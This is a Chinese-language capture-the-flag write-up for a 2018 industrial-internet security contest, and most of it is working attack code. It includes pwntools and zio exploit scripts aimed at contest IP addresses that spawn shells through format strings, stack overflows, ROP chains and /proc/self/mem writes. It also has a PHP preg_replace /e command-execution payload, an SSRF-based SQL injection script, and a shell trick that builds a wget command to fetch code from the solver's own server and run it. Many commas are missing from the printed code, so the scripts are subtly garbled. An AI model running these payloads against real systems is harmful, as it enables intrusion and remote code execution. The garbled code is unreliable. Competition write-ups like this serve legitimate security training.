“赛博地球杯”工业互联网安全大赛线上赛Writeup

  XCTF联赛小秘       2018-01-23 14:48:42 3438  5

files_for_writeup_PWN_WEB_JULAO

工控物联网 : 实时数据监测

盲打的题目,尝试溢出等方法没有用,大胆尝试盲打格式化字符串。


先看描述:“小A在对某家医药工厂进行扫描的时候,发现了一个大型实时数据监测系统。小A意识到实时数据监测系统会采集并存储与工业流程相关的上千节点的数据,只要搞定这台机器,就能拿到有价值的数据。小A在尝试远程攻击利用实时数据监测系统的过程中,必须利用程序漏洞,使得反应催化剂浓度达到理想浓度才行”。最重要的是最后一句话。

这个时候,仔细看下面的反应催化剂的内容,然后我们要修改的地址是0x804b14c,现在的值是0x00000000,要修改成0x02223322,接下来就是写脚本的事情了

所以我们对数据进行计算,确定下来攻击脚本 exp

from pwn import *
 
#context.log_level=True 
 
r = remote("47.104.70.11",30002)
sleep(12)
payload = fmtstr_payload(12{0x804b14c: 0x2223322})
 
r.sendline(payload)
r.interactive()

工控物联网 : 文件管理系统

程序开启了NX、PIE等保护机制

题目是一个文件管理系统,可以读取该目录下的文件,类似于ftp管理,但是对于文件名过滤不全,可以实现任意文件读写,但是由于flag文件名称特殊,需要列举出目录下所有的文件方可读取flag,所以需要获取shell。

通过任意文件读写转化成进程内存数据泄露和改写,通过使用/proc/self/maps来泄露基地址,通过/proc/self/mem来进行写入,获取shell权限

# -*- coding:utf-8 -*-   
from zio import *
 
#is_local = True 
is_local = False
 
binary_path = "./fileManager"
 
libc_file_path = ""
#libc_file_path = "./libc.so.6" 
 
ip = "47.104.188.138"
port = 30007
 
if is_local:
    target = binary_path
else:
    target = (ipport)
 
def rd_wr_str(io, info, buff):
    io.read_until(info)
    io.write(buff)
 
def rd_wr_int(io, info, val):
    rd_wr_str(ioinfostr(val) + "\n")
 
def d2v_x64(data):
    return l64(data[:8].ljust(8'\x00'))
 
def d2v_x32(data):
    return l32(data[:4].ljust(4'\x00'))
 
def get_io(target):
    r_m = COLORED(RAW"green")
    w_m = COLORED(RAW"blue")
    #io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) 
    io = zio(targettimeout = 9999, print_read = r_m, print_write = w_m, env={"LD_PRELOAD":libc_file_path})
    return io
 
def read_file(io, filename, offset, size):
    rd_wr_int(io"3. 退出\n"1)
    rd_wr_str(io"模块名称:"filename)
    rd_wr_int(io"查找模块偏移量:"offset)
    rd_wr_int(io"模块读取大小:"size)
 
def write_file(io, filename, offset, size, data):
    rd_wr_int(io"3. 退出\n"2)
    rd_wr_str(io"名称:"filename)
    rd_wr_int(io"偏移量:"offset)
    rd_wr_int(io"写入大小:"size)
    rd_wr_str(io"写入模块:"data)
 
 
def pwn(io):
 
    #offset info 
    if is_local:
        #local 
        offset_system = 0x0
        offset_binsh = 0x0
    else:
        #remote 
        offset_system = 0x0
        offset_binsh = 0x0
 
    rd_wr_str(io"FTP:""test\n")
 
    data = ""
    while True:
        read_file(io"/proc/self/maps\n"len(data)0x100)
 
        io.read_until("模块内容")
        end_sig = "\n---------功能菜单"
        data += io.read_until(end_sig)[:-len(end_sig)]
        if "[stack]" in data:
            break
    print data
 
    stack_addr = 0
    proc_base_addr = 0
    libc_base_addr = 0
 
    for line in data.split("\n"):
        if proc_base_addr == 0 and "fileManager" in line:
            proc_base_addr = int(line.split("-")[0]16)
        elif libc_base_addr == 0 and "/libc-" in line:
            libc_base_addr = int(line.split("-")[0]16)
        elif stack_addr == 0 and "[stack]" in line:
            stack_addr = int(line.split("-")[0]16)
 
    print hex(proc_base_addr)
    print hex(libc_base_addr)
    print hex(stack_addr)
 
    offset_system = 0x3a940
    offset_binsh = 0x15900b
    offset_close = 0xd4ad0
 
 
    libc_base = libc_base_addr
    system_addr = libc_base + offset_system
    binsh_addr = libc_base + offset_binsh
    close_addr = libc_base + offset_close
 
    atoi_got                   = 0x00003050 + proc_base_addr
 
    rop_chain = ""
    rop_chain += l64(system_addr)
    rop_chain += l64(system_addr)
    rop_chain += l64(binsh_addr)
    rop_chain += l64(binsh_addr)
 
    read_file(io"/proc/self/mem\n"atoi_got4)
 
    print hex(proc_base_addr + 0x10C8)
    io.gdb_hint()
    write_file(io"/proc/self/mem\n"atoi_got9l32(system_addr) + l32(close_addr) + "\n")
 
    io.read_until("退出\n")
    io.writeline("/bin/sh")
 
    io.interact()
 
 
io = get_io(target)
pwn(io)

工控物联网 : play

题目是一个黑客攻击游戏,最后漏洞函数是用于记录玩家姓名,其中存在栈溢出。其中用户的信息是保存在文件里的,打开文件是通过内存映射实现,打通关游戏需要用到条件竞争tocttou,其中打开文件是通过内存映射实现,因此可以用同一个用户同时登录,叠加两种攻击方法,从而实现通关。

from zio import *
 
#is_local = True 
is_local = False
 
binary_path = "./paly"
 
libc_file_path = ""
#libc_file_path = "./libc.so.6" 
 
ip = "127.0.0.1"
port = 9997
 
if is_local:
    target = binary_path
else:
    target = (ipport)
 
def d2v_x64(data):
    return l64(data[:8].ljust(8'\x00'))
 
def d2v_x32(data):
    return l32(data[:4].ljust(4'\x00'))
 
def rd_wr_str(io, info, buff):
    io.read_until(info)
    io.write(buff)
 
def rd_wr_int(io, info, val):
    rd_wr_str(ioinfostr(val) + "\n")
 
 
def get_io(target):
    r_m = COLORED(RAW"green")
    w_m = COLORED(RAW"blue")
    #io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) 
    io = zio(targettimeout = 9999, print_read = r_m, print_write = w_m, env={"LD_PRELOAD":libc_file_path})
    return io
 
def login(io, name):
    rd_wr_str(io"login:"name)
 
def attack(io):
    rd_wr_int(io"choice>> "1)
 
def use_hide(io, choice):
    rd_wr_int(io"(1:yes/0:no):"choice)
 
def change_skill(io, choice):
    rd_wr_int(io"choice>> "3)
    rd_wr_int(io"choice>> "choice)
 
def god_attack(io1, io2):
    change_skill(io13)
    attack(io1)
    change_skill(io21)
    use_hide(io11)
 
def pwn(io1, io2):
 
    #offset info 
    if is_local:
        #local 
        offset_system = 0x0
        offset_binsh = 0x0
    else:
        #remote 
        offset_system = 0x0
        offset_binsh = 0x0
 
    login(io1"test\n")
    login(io2"test\n")
    while True:
        god_attack(io1io2)
        data = io1.read_until("\n")
        if "you win" in data:
            data = io1.read_until("\n")
            if "remember you forever!" in data:
                break
    print "get here"
    io = io1
 
    gets_plt                   = 0x08048610
    puts_plt                   = 0x08048670
 
    offset_system              = 0x3a940
    offset_puts                = 0x5f140
    puts_got                   = 0x0804b02c
 
    ret = 0x080485be
    p_ret = 0x0804934b
    pp_ret = 0x0804939a
 
    payload = ""
    payload += "a"*0x48
    payload += "a"*4
    payload += l32(puts_plt)
    payload += l32(p_ret)
    payload += l32(puts_got)
    payload += l32(gets_plt)
    payload += l32(p_ret)
    payload += l32(puts_got)
    payload += l32(puts_plt)
    payload += l32(p_ret)
    payload += l32(puts_got+4)
    payload += "\n"
 
    io.read_until("name:")
    io.write(payload)
    io.read_until("welcome\n")
    data = io.read_until("\n")
 
    puts_addr = d2v_x32(data)
    print hex(puts_addr)
 
    leak_addr = puts_addr
    leak_offset = offset_puts
    libc_base = leak_addr - leak_offset
    system_addr = libc_base + offset_system
 
    io.writeline(l32(system_addr) + "/bin/sh\x00")
 
    io.interact()
 
    pass
 
io1 = get_io(target)
io2 = get_io(target)
pwn(io1io2)

工控物联网 : HMI流水灯运行

步骤1:

直接运行二进制,发现只有一个跑马灯,不停地循环

IDA查看之后,发现中间有一个alarm,在第三轮跑马灯结束之前,alarm开始触发,然后隔了将近1s后,跳转到第四轮跑马灯,在这之间会有一个输入的机会,计算好时间进行输入,然后就是一个普通的栈溢出题了。

通过泄露内存来找的system地址,可以找一个ubuntu16.04的libc.so.6进行调试计算出read和system、/bin/sh的位移,通过read和write函数构建system("/bin/sh")即可。

from pwn import *
import time
context.log_level=True
#r = remote("127.0.0.1",9999) 
r = process("./format",shell = True) #executes the binary 
 
#first_part = ("A"*140 + "\xc0\x84\x04\x08" + "\xa8\x87\x04\x08"  + "\x01\x00\x00\x00" + "\x0c\xa0\x04\x08" + "\x04\x00\x00\x00" ) 
## our exploit so far ^ 
 
 
r.recvuntil("\n\n")
#time.sleep(36.9) 
e = ELF("./format")
writeplt = e.symbols['write']
writegot = e.got['write']
readplt = e.symbols['read']
readgot = e.got['read']
main = e.symbols['gee']
 
#def leak(address): 
#    payload1 = "A" * 140 + p32(writeplt) + p32(main) + p32(1) + p32(address) + p32(4) 
#    r.sendline(payload1) 
#    data = r.recv(4) 
#    log.info("%#x => %s" % (address, (data or '').encode('hex'))) 
#    return data 
#d = DynELF(leak, elf=ELF('./format')) 
#system_addr= d.lookup('system', 'libc') 
#system_address= system_addr 
#binsh_address = system_address + 0x84cbb +0x99a10 
 
 
payload1 = "A" * 140 + p32(writeplt) + p32(main) + p32(1) + p32(readgot) + p32(4)
r.sendline(payload1 ) #feeds the exploit to the binary 
a=unpack(r.recv(4)) #gets the four bytes we leaked from the GOT 
print hex(a)
system_address= a - 0x99a10
binsh_address = a + 0x84cbb
 
print hex(system_address)
print hex(binsh_address)
r.sendline("A"*140 + pack(system_address)+ "JUNK"+ pack(binsh_address))
r.interactive()

工控物联网 : PLC时钟误差

步骤1:

直接运行二进制,这个程序需要两次输入,然后会有一段等待时间结束。

我们放入IDA中进行分析,发现第一次输入的是一个长度,第二次输入的是单次循环的时间,两次输入之间的乘积是一个定值。

题目当中还有一个alarm 10秒的指令,总体的目的就是让题目能够循环时间大于10秒,就能够出发alarm。

循环的值是4656,考虑程序运行本身会占用时间,使循环当量时间最小,tim取1,num取4656的最大公约数194即可。

通过实际尝试,我们发现在实际操作过程中,当循环时间为2的时候,它实际每次循环的实际时间大约为1.08ms,而循环时间为1的时候,它实际每次循环的实际时间大约为1.2ms,这里我们发现,是因为当每次循环时间过小的时候,程序每一步运行本身的时间就会对总体时间产生较大的影响,会使整体的时间变大。

from pwn import *
import time
 
r = remote("localhost",9999)
time.sleep(3)
r.sendline("194")
r.sendline("1")
time.sleep(11)
r.interactive()

工控物联网 : 反应釜开关控制

步骤1:


拿到题目是一道盲打题,我们尝试编写脚本进行爆破。

from pwn import *
context.log_level=True
num = 0
while 1:
    try:
        r = remote("47.104.19.0",30001)
        #r = process("./blind") 
        addr = p64(0x400f7d)
        flag = "A" *num + addr
        r.sendline(flag)
        r.interactive()
        num = num + 1
    except:
        print 1

尝试很久发现没有用,因为有三个地址,尝试从别的地址开始爆破。

步骤2:

当我们爆破成功时,我们发现显示变了,压力阀已经关闭了所以我们需要多次爆破。


但是当我们爆破最后一个阀的时候,出现问题了,显示canary error,但是很奇怪的是,stack protect要开的话应该所有的都开启了,为什么只有这一个有canary,所以我们估计这个canary是一个手写的验证,位数应该不会太大。

接下来我们尝试爆破canary,我们控制junk大小,从报错的那个字节开始爆破,之后只要跑脚本就可以了。


最后跑出来的结果


from pwn import *
import time
#context.log_level=True 
r = remote("47.104.19.0",30001)
#r = process("./blind2") 
flag_1 = p64(0x401012)
flag_2 = p64(0x400f7d)
flag_3 = p64(0x400e98)
print r.recvuntil("_________________________________")
r.sendline("A"*520+flag_1)
print r.recvuntil("_________________________________")
r.sendline("A"*392+flag_2)
print r.recvuntil("_________________________________")
 
canary_1 = "\x00"
canary_2 = "\x00"
canary_3 = "\x00"
canary_4 = "\x00"
for item_2 in range(0xff):
    canary_2 = chr(item_2)
    for item_3 in range(0xff):
        canary_3 = chr(item_3)
        for item_4 in range(0xff):
            canary_4 = chr(item_4)
            payload = canary_4 + canary_3 +canary_2 + canary_1
            try:
                r.sendline("A"*268 + payload + "A"*8 + flag_3)
                print r.recvuntil("_________________________________")
                print a
                sleep(0.1)
            except Exception as e:
                print r.recvuntil("_________________________________")
            # open("in.txt", "w").write("A"*268 + payload + "A"*8 + flag_3) 
 
r.interactive()


工控云管理系统客服中心期待您的反馈

访问view-source:http://47.104.188.226:20001/.index.php.swn得到index.php的源码

如下:

 
<?php
error_reporting(0);
ini_set('open_basedir', '/var/www/html');
 
function autoload($page) {
    if (stripos($_SERVER['QUERY_STRING'], 'flag') > 0) {
      die('no flag flag flag flag !');
    }
 
    if (stripos($_SERVER['QUERY_STRING'], 'uploaded') > 0) {
      die('no uploaded uploaded uploaded uploaded !');
    }
 
    if (stripos($_SERVER['QUERY_STRING'], '://f') > 0) {
      die('no ://f ://f ://f');
    }
 
    if (stripos($_SERVER['QUERY_STRING'], 'ata') > 0) {
      die('no ata ata ata');
    }
 
    if (stripos($_SERVER['QUERY_STRING'], '0') > 0) {
      die('no 0 0 0');
    }
 
    if(file_exists("./includes/$page.php")) {
        include "./includes/$page.php";
    }
    elseif(file_exists("./includes/$page")) {
        include "./includes/$page";
    }else{
      echo "File is not exit ";
    }
}
 
 
function download($adfile, $file){
  //Only Administrators can download files . 
      $cert = 'N';
    if(isset($adfile) && file_get_contents($adfile, 'r') === 'Yeah Everything Will Be Ok My Boss') {
      echo "Welcome ! You Are Administrator !";
      $cert = 'Y';
    }else{
      echo "error1";
    }
    if ($cert === 'Y'){
      if (stripos($file, 'file_list') != false) die('error4');
      if (stripos($file, 'file_list') >= 0) {
      header('Content-Deion: File Transfer');
      header('Content-Type: application/octet-stream');
      header('Content-Disposition: attachment; filename='. basename($file));
      header('Content-Transfer-Encoding: binary');
      header('Expires: 0');
      header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
      header('Pragma: public');
      header('Content-Length: ' . filesize($file));
      readfile($file);
    }else{
      die('error2');
    }
}else{
  echo 'error3';
}
}
 
if(!isset($_GET['page'])) {
    $page = 'index';
}
else {
    $page = $_GET['page'];
}
if (stripos($page, './') > 0) {
  die('no ./ ./ ./ ./');
}
if (stripos($page, '://') > 0) {
  die('no :// :// ://');
}
autoload($page);
 
if (isset($_GET[admin]) && isset($_GET[file])) {
 
  if (stripos($_GET[admin], 'flag') > 0 || stripos($_GET[file], 'flag') > 0) {
    die('not flag flag flag falg !');
  }
 
  if (strlen($_GET[file]) >= 38) {
    die('too long');
  }
 
  download($_GET[admin], $_GET[file]);
}
 
 
?> 

download函数可以下载任意文件,访问http://47.104.188.226:20001/index.php?admin=php://input&&file=file_list/../includes/upload.phpPOST参数Yeah Everything Will Be Ok My Boss


可以下载任意源码,upload.php里面只能上传.zip后缀的文件,每次上传的时候unzip.sh会删除有.的文件、目录、大于1M的文件。

如何得到flag?前期知道目录结构,本地构造

index.php  
 
includes/uploaded/  
 
flag/flag/flag/flag/flag/flag/flag.php

本地创造一个这样的目录结构

includes/uploaded/目录中

ln -s ../../flag/flag/flag/flag/flag/flag/flag.php 12345678911234567899

创建一个软链接,再把软链接压缩成zip包

zip -y cc.zip 12345678911234567899

上传该zip包得到软链接

upload.phpstep参数可以cat某文件,cat刚刚的软链接就会查看flag.php文件内容。

工控云管理系统文档中心的秘密

paper下载下来后缀是php但其实是pdf,查看pdf内容说的ssrf,扫描目录找到secret下面有2个文件。测试后发现存在SQL注入。

 
#!/usr/bin/env python 
import requests
import random
import urllib
 
url = 'http://47.104.73.107:20002/download.php'
 
#subquery = "database()" 
#subquery = "select table_name from information_schema.tables where table_schema='ssrfw' LIMIT 1" 
#subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1" 
#subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1 OFFSET 1" 
subquery = "select value from cetcYssrf LIMIT 1"
 
dl = '%x'%random.getrandbits(256)
 
d = ('http://127.0.0.1/secret/secret_debug.php?' +
        urllib.urlencode({ 
            "s":"3", 
            "txtfirst_name":"A','b',("+subquery+"),'c'/*", 
            "txtmiddle_name":"B", 
            "txtname_suffix":"C", 
            "txtLast_name":"D", 
            "txtdob":"*/,'E", 
            "txtdl_nmbr":dl, 
            "txtRetypeDL":dl
            }) +
        "&")
 
 
r = requests.get(urlparams={"dl":d})
print r.text;

工控系统的敏感消息遭泄漏

题目提示信息泄漏其实是http://47.104.99.231:20003/.git/的泄漏,还原源码之后审计。+ 反序列化 + 命令执行 + ereg。

漏洞代码

 
$secret = $_GET['secret'];
$ad  = $_GET['ad'];
 
if(isset($ad)){
    if(ereg("^[a-zA-Z0-9]+$", $ad) === FALSE)
    {
        echo '<>alert("Sorry ! Again !")</>';
    }
    elseif(strpos($ad, '--') !== FALSE)
    {
                echo "Ok Evrything will be fine!<br ><br >";
                if (stripos($secret, './') > 0) {
                    die();
                }
        unserialize($secret);
    }
    else
    {
        echo '<>alert("Sorry ! You must have --")</>';
    }
 }

ereg%00截断ad=a%00--
secret就要看class.php

 
error_reporting(0);
 
class Record{
    public $file="Welcome";
 
    public function __construct($file)
    {
        $this->file = $file;
    }
 
    public function __sleep()
    {
        $this->file = 'sleep.txt';
        return array('file');
    }
 
    public function __wakeup()
    {
        $this->file = 'wakeup.txt';
    }
 
    public function __destruct()
    {
        if ($this->file != 'wakeup.txt' && $this->file != 'sleep.txt' && $this->file != 'Welcome') {
            system("php ./import/$this->file.php");
        }else{
            echo "<?php Something destroyed ?>";
        }
    }
 
 
}
 
$b =new Record('Welcome');
unset($b);

明显是反序列化绕过和命令执行


工控管理系统新版本

增加了注册和登录的功能,直接sqlmapfindpwd.php``POST包就能得到管理员账户,注册管理员账户之后,再用自己的密码登录即可得到flag

工控云管理系统设备维护中心被植入后门

http://47.104.74.209:20005/index.php?page=php://filter/convert.base64-encode/resource=index.php 读源码


解密得到源码

关键代码:

 
<?php
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
 
    echo "<br >Welcome My Admin ! <br >";
 
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
 
    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
 
}
?> 

preg_replce正则表达式部分包含e参数的时候,进行替换的部分会被执行。

?pat=/a/e&rep=passthru('ls -al');&sub=a

x-forwarded-for: 127.0.0.1


大量设备报表不见了

纯数字爆破,当id=2333得到flag

工控云管理系统项目管理页面解析漏洞

给了源码

PHP和MySQL中浮点数精度不同的特性来做,在PHP中1.0000000000000001 != 1而在MySQL中1.0000000000000001 == 1 但是要求结尾必须是9,1.0000000000000001.9即可

?page=f&id=1.0000000000000001.9


看了各位师傅的Wp附上更好的思路:1+任意特殊字符+9即可 比如1f9

接下来POST数据

file=../mime.php/a.php/..&con=<?php phpinfo();?>

uploaded目录下生成mime.php


看了各位师傅的Wp附上更好的思路:file=../a.php/.生成文件

请关注工控云管理系统的警告记录

给了源码http://47.104.166.183:20008/getflag.php

payloads:

>-at\
>\>q
>l\
>s\ \
ls>a
ls>>a
>\.88
>88\
>8\.\
>\.8\
>88\
>t\ \
>wge\
 
sh a
 
sh q

88.88.88.88 是自己的vps的ip地址 上面需要开启apache2服务 然后index.html文件自己控制

再执行sh i*执行index.html文件 执行自己想执行的命令


工控协议逆向 BOOM

工控协议,推断是modbus,但是端口不是常用端口,将wireshark的modbus默认端口改成题目端口就可以,之后的分析比较简单。

出题人扔给你一段c代码。。。

#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
 
 
#define portnumber 30006
 
 
int main(int argc, char *argv[])
{
    int sockfd;
    struct sockaddr_in server_addr;
    struct hostent *host;
 
 
    if(argc!=2)
    {
        fprintf(stderr,"Usage:%s hostname \a\n",argv[0]);
        exit(1);
    }
 
 
    if((host=gethostbyname(argv[1]))==NULL)
    {
        fprintf(stderr,"Gethostname error\n");
        exit(1);
    }
 
 
    if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) // AF_INET:Internet;SOCK_STREAM:TCP
    {
        fprintf(stderr,"Socket Error:%s\a\n",strerror(errno));
        exit(1);
    }
 
 
 
    bzero(&server_addr,sizeof(server_addr));
    server_addr.sin_family=AF_INET;         
    server_addr.sin_port=htons(portnumber);
    server_addr.sin_addr=*((struct in_addr *)host->h_addr); // IP地址
 
    if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)
    {
        fprintf(stderr,"Connect Error:%s\a\n",strerror(errno));
        exit(1);
    }
    unsigned char bdata[15] = {0};
    int nCount =0;
    while(1)
    {
        nCount ++;
 
        bdata[5] = 6;//size
        bdata[6] = 0x7e;//device
        bdata[7] = 0x10;//write
        bdata[8] = 00;
        bdata[9] = 0x9a;//addr
        bdata[10] = 0x00;//reg count
        bdata[11] =0x01;//
        bdata[12] = 2;//byte
        bdata[13] = 0xff;
        bdata[14] = 0xff;
        int nSend = send(sockfd,bdata,15,0);
        //sleep(10);//10sec get data
        char recvdata[100] = {0};
        int nrecv = recv(sockfd,recvdata,100,0);
        printf("%s\n",recvdata);
        sleep(3);
        bdata[1]=bdata[1]+1;
    }
 
    close(sockfd);
    exit(0);
}


工控业务流量分析

【题目】

这是我们工厂中在某天下午截取的数据包,请找出流量中针对正常的业务不对劲的数据内容

Solution

1、单从题目和要求可以初步判断和工控业务直接相关,推测是纯粹的工控协议流量也有可能是隐藏在常规TCP/IP中的特殊业务。拿到pcap文件后先看下尺寸评估下工作量,40+Mpcap肯定需要一些辅助的分析手段,以及统计方法;


2、先用wireshak打开大致看下数据包中地址、端口和协议的分布。可以发现数据包中有大量的私有地址和互联网地址,既有工控协议数据也有互联网流量数据,从数据量和题目的侧重点可以优先分析下内网IP的问题。



3、迫使工控正常业务不正常正常的思路可能是MITM,然后指令注入,可以用wireshark将内网流量过滤导出,然后使用python脚本进行辅助分析。针对数据包中push的操作和seqack重复的包进行分析发现并没有明显的内网MITM


4、再从第二步中可见的modbus协议和s7协议入手,检查所有协议操作数据。由于数据量还是太大,进一步针对每种协议的特定功能吗进行过滤。针对S7协议,可以发现s7协议有较多的read varwrite var针对同一数据行为的读取请求,数据包部分。



5、由于数据量还是太大,进一步针对每种协议的特定功能吗进行过滤。针对S7协议,可以发现s7协议有较多的read varwrite var针对同一数据行为的读取请求,数据包部分。


6、下来看Modbus协议,同样过滤数据包中使用到的所有基本功能码,包括Read coils, Read Holding Registers, Write multiple coils。再从题面分析可以看出是主动干预了正常客体,过滤出write行为发现只有一条。



7、下来就是提取data,还原数据,编写简单脚本进行decode得到所有bit值。



 

['0', '1', '0', '0', '0', '0', '1', '1', '0', '1', '1', '1', '1', '0', '0',

'1', '0', '1', '1', '0', '0', '0', '1', '0', '0', '1', '1', '0', '0', '1', '0',

'1', '0', '1', '1', '1', '0', '0', '1', '0', '0', '1', '0', '1', '0', '1', '1',

'1', '0', '1', '1', '0', '1', '1', '1', '1', '0', '1', '1', '1', '0', '0', '1',

'0', '0', '1', '1', '0', '1', '1', '0', '0', '0', '1', '1', '0', '0', '1', '0',

'0', '0', '1', '0', '0', '0', '0', '1', '1', '0', '1', '1', '1', '0', '1', '0',

'1', '0', '1', '1', '1', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0', '1',

'1', '0', '1', '0', '0', '0', '1', '0', '1', '0', '1', '0', '1', '0', '1', '0',

'0', '0', '1', '0', '0', '0', '0', '1', '1', '0', '0', '1', '1', '0', '0', '1',

'0', '0', '0', '1', '1', '0', '0', '0', '0', '0', '0', '1', '1', '0', '0', '0',

'1', '0', '0', '1', '1', '1', '0', '0', '0']

得到最后的flagCyberWorldCupCETC2018


 

工控文件分析

【题目】

小丙在工业生产现场的数控机床上发现了一个插着的U盘,从中我们发现了一个word文件,不过这个文件好像有点异常,作为安全运营人员你能发现这个文件中是否蕴藏着什么秘密呢?

Solution

1、拿到word文件打开时之后发现是一张生产计划表格,并没有什么特别之处。打开的时候还有错误,直接读下hex分析下文件头部信息,可以看到一些关键字的线索,包括文件格式、程序操作、flag信息等。



              

2、推测word文件中隐藏这一张被Photoshop加工过内容和格式的图片,将其从word中进行分离之后发现缺少相应的文件头。同样根据刚刚的Photoshop操作指令,还原jpx的文件头即可。



3hex读取的信息判断,其中的flag可能并非真实flag,还缺少条件。从(3ijnhygvfr)H可以发现所有的字符会在键盘上组成一个“W”字符的形状。


根据还原出来的图片可以找到一些线索。根据G代码和还原的零件图形可以看到整个刀片的行进轨迹是两次变相的三个W,再根据(3ijnhygvfr)H可以读出(3w)H的信息。

hex之后得到flag3377


 

工控固件分析

【题目】

小乙从某邪工厂中窃取出了包含关信息的一个文件,我经获知关中使用的keyhashcQwwddSRxS,需要合已有信息解出key

solution

1bin下载之后直接binwalk一下,解压之后可以看到是一个老版本的vwworks文件。



2PowerPC架构,固件加载地址为0x10000IDA打开找到其中隐藏的加密函数。



3、目前已知一段hash为“cQwwddSRxS”,将汇编还原为脚本程序之后通过密码本进行hash对撞发现有多解,提交即可。


请先登录
+1 已点过赞
5
分享到:
登录后才能发贴或参与互动哦! 点击登录

全部评论 (0)